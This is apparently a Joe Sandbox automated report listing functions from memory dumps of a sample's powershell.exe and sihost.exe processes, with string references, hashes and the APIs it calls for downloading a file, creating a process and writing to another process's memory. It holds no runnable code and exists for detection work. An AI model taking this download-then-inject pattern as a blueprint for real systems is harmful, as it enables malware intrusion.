Function 000007FE89437018 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE89437BF0

Memory Dump Source

Source File: 00000007.00000002.457980533.000007FE89430000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89430000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: cb6895fd95249e2634c7f4e32fa8854de9b0aa7e780d8d387622e55bc4a30a78
Instruction ID: 2e5caba4cefc6f2d765954e4a533914b951934b57088b2e7fd0f4c6192653ac6
Opcode Fuzzy Hash: cb6895fd95249e2634c7f4e32fa8854de9b0aa7e780d8d387622e55bc4a30a78
Instruction Fuzzy Hash: 4E319F31918A5C8FDB58EF5CD889BA9B7E1FB59325F10822ED04DD3661CB74B806CB81

Function 000007FE89504165 Relevance: 6.7, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0c6, xrefs: 000007FE89504207
8F., xrefs: 000007FE895042F6
0c6, xrefs: 000007FE89504300
0c6, xrefs: 000007FE89504337
(F., xrefs: 000007FE8950432D

Memory Dump Source

Source File: 00000007.00000002.460232288.000007FE89500000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89500000_powershell.jbxd

Similarity

API ID:
String ID: (F.$0c6$0c6$0c6$8F.
API String ID: 0-3316804542
Opcode ID: 08c684255afe08d8cb7b534d51b3e28121c6ee9ae2efd1122f61678bc5d22a2f
Instruction ID: f12454943987206dd4d8b216c573341bcf38113dd5160d8d9eace62ef3531418
Opcode Fuzzy Hash: 08c684255afe08d8cb7b534d51b3e28121c6ee9ae2efd1122f61678bc5d22a2f
Instruction Fuzzy Hash: 3EC1F83091DAC94FE75AEB2894146BA7FA1EF46345F1801EBD48EC71B3D618AC52C361

Function 000007FE89507D2D Relevance: 3.3, Strings: 2, Instructions: 781
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8=6, xrefs: 000007FE89508B31
0c6, xrefs: 000007FE895086F1

Memory Dump Source

Source File: 00000007.00000002.460232288.000007FE89500000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89500000_powershell.jbxd

Similarity

API ID:
String ID: 0c6$8=6
API String ID: 0-2696980242
Opcode ID: 6839db18bc355c8012c5f029876f7aeb068746ca5f781ae97281e0cbd40d085d
Instruction ID: e9769fa660b7b7d277eb48edb1df0e201ab6f4ee03032380831d055ed610424e
Opcode Fuzzy Hash: 6839db18bc355c8012c5f029876f7aeb068746ca5f781ae97281e0cbd40d085d
Instruction Fuzzy Hash: 2232173090CB894FE79ADB2C94506797FE2FF9A344F1401AAD58EC72B3CA25AC55C351

Function 000007FE8950566D Relevance: 3.0, Strings: 2, Instructions: 465
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 000007FE89505744
0c6, xrefs: 000007FE895057AD

Memory Dump Source

Source File: 00000007.00000002.460232288.000007FE89500000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89500000_powershell.jbxd

Similarity

API ID:
String ID: 0c6$V
API String ID: 0-3647031354
Opcode ID: 5f4cde7c366750c12b9d919b11ed2912485beed1738d07610dcb08f127f1b2b8
Instruction ID: a944170b096c8b88ec5ca3606d246278336d375ab3f5647e1b1a7c372eb0ed9b
Opcode Fuzzy Hash: 5f4cde7c366750c12b9d919b11ed2912485beed1738d07610dcb08f127f1b2b8
Instruction Fuzzy Hash: 77D1043190E7C91FE3479738AC156B67FA4EF87260F1901EBD48DCB0A3D614A956C3A2

Function 000007FE89508549 Relevance: 1.8, Strings: 1, Instructions: 552
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0c6, xrefs: 000007FE895086F1

Memory Dump Source

Source File: 00000007.00000002.460232288.000007FE89500000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89500000_powershell.jbxd

Similarity

API ID:
String ID: 0c6
API String ID: 0-3394889269
Opcode ID: 173791408503b5e4b511d799b6dc34c92a099f3d6e98d0e88bc340f35ad35e24
Instruction ID: dd0019b6d6e76b041b7c1f31924e29b5a9023f4b9fb78f83d6177cc0118f18be
Opcode Fuzzy Hash: 173791408503b5e4b511d799b6dc34c92a099f3d6e98d0e88bc340f35ad35e24
Instruction Fuzzy Hash: 8602F63090CB894FD79ADB2C84607297FE2FF9A344F2401EAD58EC72A3C625AC55C751

Function 000007FE89437AE1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE89437BF0

Memory Dump Source

Source File: 00000007.00000002.457980533.000007FE89430000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89430000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: cd1c528a66c44d560df0ae09aea439479d818ea4fa4a1e4cac3b448f105343c7
Instruction ID: 255ea0997c72bec08d2a1aedb2daddae76c0246344e9e17e9156d1647c16b188
Opcode Fuzzy Hash: cd1c528a66c44d560df0ae09aea439479d818ea4fa4a1e4cac3b448f105343c7
Instruction Fuzzy Hash: B841F87080CB889FD719DB689884BA97BF4FB56325F04426FD08DD3562CB646805C781

Function 000007FE895010D2 Relevance: 1.4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xF., xrefs: 000007FE8950117C

Memory Dump Source

Source File: 00000007.00000002.460232288.000007FE89500000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89500000_powershell.jbxd

Similarity

API ID:
String ID: xF.
API String ID: 0-3051270448
Opcode ID: c56e86e8797893f98d77dafa2354f7e90dae7b28f45637e45efe0b02ac988b36
Instruction ID: 580774f7347db894d4efb8dac3954d8ca3a8a30fc91633028395e8716d774da0
Opcode Fuzzy Hash: c56e86e8797893f98d77dafa2354f7e90dae7b28f45637e45efe0b02ac988b36
Instruction Fuzzy Hash: B041B011A4EBC90FE35B933C28603617FE1DF5B259B2A01EBD48ECB1A3D9095D56C362

Non-executed Functions

Function 000007FE8950352E Relevance: 2.8, Strings: 2, Instructions: 330COMMON

Download Yara Rule

Strings

0c6, xrefs: 000007FE89503642
h.4, xrefs: 000007FE895036CE

Memory Dump Source

Source File: 00000007.00000002.460232288.000007FE89500000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89500000_powershell.jbxd

Similarity

API ID:
String ID: 0c6$h.4
API String ID: 0-554142268
Opcode ID: 6207935340d297e676300fc05cd805bef007439a69ff182d5e15cbd017fd2376
Instruction ID: 7a497bec5fbcac76306634a857d5c32c68a20d0046abf9d17e1c9e7cd0fe6035
Opcode Fuzzy Hash: 6207935340d297e676300fc05cd805bef007439a69ff182d5e15cbd017fd2376
Instruction Fuzzy Hash: 3EA1462090E7C90FD743A77998246A63FF1EF47254F1A01EBD48DCB1B3D629991AC362

Function 000007FE89432C63 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.457980533.000007FE89430000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd961ab13d923ce8f9aabe20ec8a43b084586b4c1a13a270ad25fd9d3e929d50
Instruction ID: dcd518a744f0e8b9e24dbcdaaf9cb6d236bbc38a219752020ac3ad141297a56c
Opcode Fuzzy Hash: dd961ab13d923ce8f9aabe20ec8a43b084586b4c1a13a270ad25fd9d3e929d50
Instruction Fuzzy Hash: E131712FF192A15EE201B66DF8C2ADA7B44EF8263770401B7E28C89073E618514A96B4

Function 000007FE89503A81 Relevance: 7.7, Strings: 6, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h.4, xrefs: 000007FE89503B73
h.4, xrefs: 000007FE89503B85
h.4, xrefs: 000007FE89503B30
h.4, xrefs: 000007FE89503B97
h.4, xrefs: 000007FE89503BA9
h.4, xrefs: 000007FE89503B54

Memory Dump Source

Source File: 00000007.00000002.460232288.000007FE89500000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89500000_powershell.jbxd

Similarity

API ID:
String ID: h.4$h.4$h.4$h.4$h.4$h.4
API String ID: 0-2921988999
Opcode ID: 014511180938b1da331ca1b66b5574f4e8109193fe5f0ecb1e1792765be3c2b1
Instruction ID: 83207260039f4ccde732d8185889f0e56e7afb9efb6ec3b5d7b3d104f16bfaa2
Opcode Fuzzy Hash: 014511180938b1da331ca1b66b5574f4e8109193fe5f0ecb1e1792765be3c2b1
Instruction Fuzzy Hash: 81610421A0D7CA4FE757933D58606AA7FA1EF87244F1900E7D08DCB0B3D629585AC362

Analysis Process: sihost.exePID: 3408, Parent PID: 3096COMMON

Execution Graph

Execution Coverage:	16.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	133
Total number of Limit Nodes:	14

Executed Functions

Function 00459CA8 Relevance: 4.0, Strings: 3, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:dJ, xrefs: 00459E53
Tep, xrefs: 00459ED3
Tep, xrefs: 00459D11

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: :dJ$Tep$Tep
API String ID: 0-366135230
Opcode ID: 32e86d5f5d572b29e7f12801e8e77ee750ff0a1f9976ad0ca3149776dd87bdfd
Instruction ID: 6510ab184aa7edeafbf146078e2d9212cfb584f0e575f1e636351c42141896f8
Opcode Fuzzy Hash: 32e86d5f5d572b29e7f12801e8e77ee750ff0a1f9976ad0ca3149776dd87bdfd
Instruction Fuzzy Hash: 7181D674E00218CFDB08CFAAC945ADEFBB2EF89301F24942AD815BB255D7389906CF55

Function 0045C1C8 Relevance: 2.8, Strings: 2, Instructions: 278
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0%p1, xrefs: 0045C351
0%p1, xrefs: 0045C358

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: 0%p1$0%p1
API String ID: 0-3740086479
Opcode ID: 859e6013c79d58fa2294c1425c42fce61c5b30391362135ad529ee8cbf2e7a8c
Instruction ID: e9b813a3b852bf680a6e422c355b2455bfbc7e049a1eee69fd2dc7d035de38d8
Opcode Fuzzy Hash: 859e6013c79d58fa2294c1425c42fce61c5b30391362135ad529ee8cbf2e7a8c
Instruction Fuzzy Hash: AEC11A70E04219DFCB04CF99C5C08AEFBB2FF89301F24856AD415A7215D7389986CF99

Function 0045F080 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

Z, xrefs: 0045F232

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: Z
API String ID: 0-1862792848
Opcode ID: 16ba9e1d287cae4853eff8d324eabe8103453a55a51d2c71b58c08924aa43e30
Instruction ID: d5b92f33ef3a0a6649e7622c67d4893c3904b5d9b8aed51b0ee1af31a80fa935
Opcode Fuzzy Hash: 16ba9e1d287cae4853eff8d324eabe8103453a55a51d2c71b58c08924aa43e30
Instruction Fuzzy Hash: 1D912774E05219DFCB04DF99C8409EEFBB1FB88301F14952AD815B7259D3789A0ACF5A

Function 0045E910 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15cf740367b91458ecc74b30c9125de950973620c6cab2c5c1316eaa6e1028f0
Instruction ID: 9a65f97f485df6383590f9750efafb315bafba6378df428ad1bc137f4effcf20
Opcode Fuzzy Hash: 15cf740367b91458ecc74b30c9125de950973620c6cab2c5c1316eaa6e1028f0
Instruction Fuzzy Hash: 9641D274E00508EFCB48CFAAD58499DFBF1FF89301B15D0A6D8589B225D735DA15CB09

Function 004529EF Relevance: 16.5, Strings: 13, Instructions: 286
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fp, xrefs: 00452DD9
Tep, xrefs: 00452B39
XXp, xrefs: 00452AE4
fp, xrefs: 00452CAC
XXp, xrefs: 004529FB
$p, xrefs: 00452CDE
XXp, xrefs: 00452B2B
$p, xrefs: 00452D80
XXp, xrefs: 004529C2
XXp, xrefs: 00452AF4
$p, xrefs: 00452BB9
XXp, xrefs: 00452A97
$p, xrefs: 00452CBC

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$XXp$XXp$XXp$XXp$XXp$XXp$$p$$p$$p$$p
API String ID: 0-748399701
Opcode ID: 904b34b7802d86f6beca8822fbdb1fcd4b5e1bdefd68faff976f558ce6e72117
Instruction ID: 714e2ed957e4b965bcb1d2fe1a74a78e29edf2563977732abc46db581e5a1ce9
Opcode Fuzzy Hash: 904b34b7802d86f6beca8822fbdb1fcd4b5e1bdefd68faff976f558ce6e72117
Instruction Fuzzy Hash: CEB1C730A04244DFCB158F94D645BBEBBB2BB86302F248557DC025B397CBB89C4ADB49

Function 00452B76 Relevance: 14.0, Strings: 11, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fp, xrefs: 00452DD9
Tep, xrefs: 00452B39
Tep, xrefs: 00452B45
$p, xrefs: 00452D80
fp, xrefs: 00452CAC
$p, xrefs: 00452BB9
$p, xrefs: 00452BC9
$p, xrefs: 00452CBC
$p, xrefs: 00452CCA
$p, xrefs: 00452CDE
XXp, xrefs: 00452B2B

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$Tep$XXp$$p$$p$$p$$p$$p$$p
API String ID: 0-1748866375
Opcode ID: 92200d69903b5d856d3ade40656a5907b88d46d71a57976fa1569b4847b32cac
Instruction ID: f1d61a40e38652b3b64bca18052b74a043a79d73a6b01632955ce8fc52d28f61
Opcode Fuzzy Hash: 92200d69903b5d856d3ade40656a5907b88d46d71a57976fa1569b4847b32cac
Instruction Fuzzy Hash: CF91A730F00214DFCB198F58D645AAEBBB2BF86302F698157D8016B396DBB4EC46DB45

Function 00452ACD Relevance: 12.7, Strings: 10, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fp, xrefs: 00452DD9
Tep, xrefs: 00452B39
$p, xrefs: 00452D80
XXp, xrefs: 00452AE4
fp, xrefs: 00452CAC
$p, xrefs: 00452BB9
XXp, xrefs: 00452A97
$p, xrefs: 00452CBC
$p, xrefs: 00452CDE
XXp, xrefs: 00452B2B

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$XXp$XXp$XXp$$p$$p$$p$$p
API String ID: 0-355809937
Opcode ID: 798d57ef616ba2d6587f517092203c652c4bd51255e9ec3fb03318e4edf0323c
Instruction ID: f123b40774c874ad7581917a11a3103a767f341d05f820caba68bc6acab1b65d
Opcode Fuzzy Hash: 798d57ef616ba2d6587f517092203c652c4bd51255e9ec3fb03318e4edf0323c
Instruction Fuzzy Hash: FD818430A04254DFCB258F54D645ABEB7B1BF82302F298157EC015B397DBB8AC4ADB49

Function 00452B27 Relevance: 10.2, Strings: 8, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fp, xrefs: 00452DD9
Tep, xrefs: 00452B39
$p, xrefs: 00452D80
fp, xrefs: 00452CAC
$p, xrefs: 00452BB9
$p, xrefs: 00452CBC
$p, xrefs: 00452CDE
XXp, xrefs: 00452B2B

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$XXp$$p$$p$$p$$p
API String ID: 0-3004817860
Opcode ID: 43fd73ef3935f715523a63ed5b1f478240c35101c3ff0b1d72061e7dd392bb7d
Instruction ID: ed7fb13fb9da52fd2c979a02d7e5a5321e937aacce430411826ce102869847b5
Opcode Fuzzy Hash: 43fd73ef3935f715523a63ed5b1f478240c35101c3ff0b1d72061e7dd392bb7d
Instruction Fuzzy Hash: DF71B430E04214DFCB258F54D645BAEB7B1BB82302F698157D8016B397DBF8AC4ADB49

Function 00452B0E Relevance: 10.2, Strings: 8, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fp, xrefs: 00452DD9
Tep, xrefs: 00452B39
$p, xrefs: 00452D80
fp, xrefs: 00452CAC
$p, xrefs: 00452BB9
$p, xrefs: 00452CBC
$p, xrefs: 00452CDE
XXp, xrefs: 00452B2B

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$XXp$$p$$p$$p$$p
API String ID: 0-3004817860
Opcode ID: 46da8c45c51f1703fa96b19b1a1f02a55a32f5b0f855c9e344e9bde2dcdd9a7e
Instruction ID: 334e57ca1e3a065878c3f6151b76218cd460c6d8ef28a2a5ed6037f4fd43bdf9
Opcode Fuzzy Hash: 46da8c45c51f1703fa96b19b1a1f02a55a32f5b0f855c9e344e9bde2dcdd9a7e
Instruction Fuzzy Hash: 40719530E04214DFDB258F54D645BAEB7B1BB82302F298157E8015B397DBF8AC4ADB49

Function 00455171 Relevance: 7.7, Strings: 6, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 00455222
$p, xrefs: 0045522E
$p, xrefs: 004551CA
$p, xrefs: 004551BE
Tep, xrefs: 00455373
pTE, xrefs: 0045539E, 004553C1

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: Tep$pTE$$p$$p$$p$$p
API String ID: 0-2300086681
Opcode ID: f571d1de5daeb5b918b2b49361bce4a2ac21418f6e0e751e174b82724a6432d2
Instruction ID: bfa98ce61e4d01db8eef2be45d0b15fc76dd1af9726a15a4f6b5021090623478
Opcode Fuzzy Hash: f571d1de5daeb5b918b2b49361bce4a2ac21418f6e0e751e174b82724a6432d2
Instruction Fuzzy Hash: C7818634B00604DFD7149F64D865B7E7BA2EB89342F24447AE806DB3A6DE74CC45CB49

Function 00455138 Relevance: 3.9, Strings: 3, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 00455314
Tep, xrefs: 00455373
pTE, xrefs: 0045539E, 004553C1

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: Tep$Tep$pTE
API String ID: 0-2975379879
Opcode ID: 196f57c98842d7ab4a5e17b855d55488a9f047c07e42b0897e5ba8361292a98a
Instruction ID: f21425908b809b20970d28416facb07d92bd9f47c7fcbe83ad4f898169b9f66a
Opcode Fuzzy Hash: 196f57c98842d7ab4a5e17b855d55488a9f047c07e42b0897e5ba8361292a98a
Instruction Fuzzy Hash: 11717434B10604CFDB149B64D86877D7BB2EB89342F24446AEC07D73A6DE788C49CB49

Function 004508F0 Relevance: 3.9, Strings: 3, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,?, xrefs: 00450C20
{ , xrefs: 004509E2
X^,, xrefs: 00450914

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: ,?$X^,${
API String ID: 0-1400551744
Opcode ID: 05da1e591b6d5e27b688cf558f1c9c9cba78fb42df05d1efdeefd2c5b3934cf6
Instruction ID: 5085df43370fe74a3519d31878de942d50494f5d99cd55bcc945e475ec4816a7
Opcode Fuzzy Hash: 05da1e591b6d5e27b688cf558f1c9c9cba78fb42df05d1efdeefd2c5b3934cf6
Instruction Fuzzy Hash: 5E412578A04355CFC705CF68C4106AEBBB2AF96312F1485A7C846AB397C738DC48CB99

Function 00455478 Relevance: 2.7, Strings: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 00455373
pTE, xrefs: 0045539E, 004553C1

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: Tep$pTE
API String ID: 0-889855801
Opcode ID: c68d412b6fc566d839e1c6db63654508ee97c03ccd3413e52709fd7274e3e214
Instruction ID: a07c64230b7ec4b2bf2d9519aceb5a29e623cb49f70c271ca9438a8ce1837c67
Opcode Fuzzy Hash: c68d412b6fc566d839e1c6db63654508ee97c03ccd3413e52709fd7274e3e214
Instruction Fuzzy Hash: FA616234B10604DFDB149F64D868B7D77B1EB49343F24446AE806D73A6DA788C8ACF4A

Function 0045515E Relevance: 2.7, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 00455373
pTE, xrefs: 0045539E, 004553C1

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: Tep$pTE
API String ID: 0-889855801
Opcode ID: 63694f0670a02c4a882f625ea6ed5e2171f1dafc656292f78b4c6b5df76f45b5
Instruction ID: 398d9ee693e79140b5c0a40b39f12551897fced2bc3f5d2073318432df9c636e
Opcode Fuzzy Hash: 63694f0670a02c4a882f625ea6ed5e2171f1dafc656292f78b4c6b5df76f45b5
Instruction Fuzzy Hash: 97515134B10604CFDB149F64D868B7D7BB2EB89342F24446AE806D73A6DA789C49CF49

Function 004554C4 Relevance: 2.7, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 00455373
pTE, xrefs: 0045539E, 004553C1

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: Tep$pTE
API String ID: 0-889855801
Opcode ID: 20668acab635438c69a14828ad8dc211db9b0fb3a43fdd6d3f86bc5a14ee8158
Instruction ID: cda1c08199a3d612eadd460ae2aec4098c54a6db1140691a2f3f1216d30547b6
Opcode Fuzzy Hash: 20668acab635438c69a14828ad8dc211db9b0fb3a43fdd6d3f86bc5a14ee8158
Instruction Fuzzy Hash: B4515134B10604CFDB149F64D868B7D7BB2EB89343F24446AE806D73A6DA789C49CF49

Function 0051980D Relevance: 1.8, APIs: 1, Instructions: 326processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00519ADF

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e6ca434dd9e77d2302d0ac6a99386ec633d1e21cb4aced00a2ad97ef0c1c44d2
Instruction ID: 159676e0ec01f37729506eeda792d907275833e4fe35451fffde459d378ba153
Opcode Fuzzy Hash: e6ca434dd9e77d2302d0ac6a99386ec633d1e21cb4aced00a2ad97ef0c1c44d2
Instruction Fuzzy Hash: 1EC12470D002598FEF24CFA8C851BEEBBB1BF49304F0091AAD859B7250DB749A85CF95

Function 00519818 Relevance: 1.8, APIs: 1, Instructions: 323processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00519ADF

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 74acdcda40d003335890e9fded6cb746437e174adcd58552cc7c2128ebe3e91f
Instruction ID: 95c6b27ea6a73ad1a2838d727e84b054a96f99a49980a81377a8a7750befffaa
Opcode Fuzzy Hash: 74acdcda40d003335890e9fded6cb746437e174adcd58552cc7c2128ebe3e91f
Instruction Fuzzy Hash: CDC11370D002598FEF24CFA8C851BEEBBB1BF49304F0091AAD859B7250DB749A85CF95

Function 00519480 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00519553

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0a12730238a9ee0346a9d647b5a1721ad70f73b184e5fade9853a92b7c0c759f
Instruction ID: 8ab2920df896b129cbfabc76b007861591f047c633f2d96a55da2efe816124b1
Opcode Fuzzy Hash: 0a12730238a9ee0346a9d647b5a1721ad70f73b184e5fade9853a92b7c0c759f
Instruction Fuzzy Hash: 8341AAB4D002489FCF00CFA9D984AEEFBF1BF49314F24942AE815B7250D735AA45CB64

Function 005195D8 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00519692

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4a8cdff7e68a2ac7542e3af6f5f715851cfeb669746954c1f0d0889478399c3f
Instruction ID: b7be27526a4695ec358651b8e00e0ae797dee7f13430b6d75feb357403e72651
Opcode Fuzzy Hash: 4a8cdff7e68a2ac7542e3af6f5f715851cfeb669746954c1f0d0889478399c3f
Instruction Fuzzy Hash: 1741BAB5D002589FCF10CFA9D984AEEFBB1BF49310F20942AE814B7250D775A945CF65

Function 005195E0 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00519692

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1e84e98b511ecc5a0f980a8bb49f7c96af9d945550d027e2886a59de2bed5fba
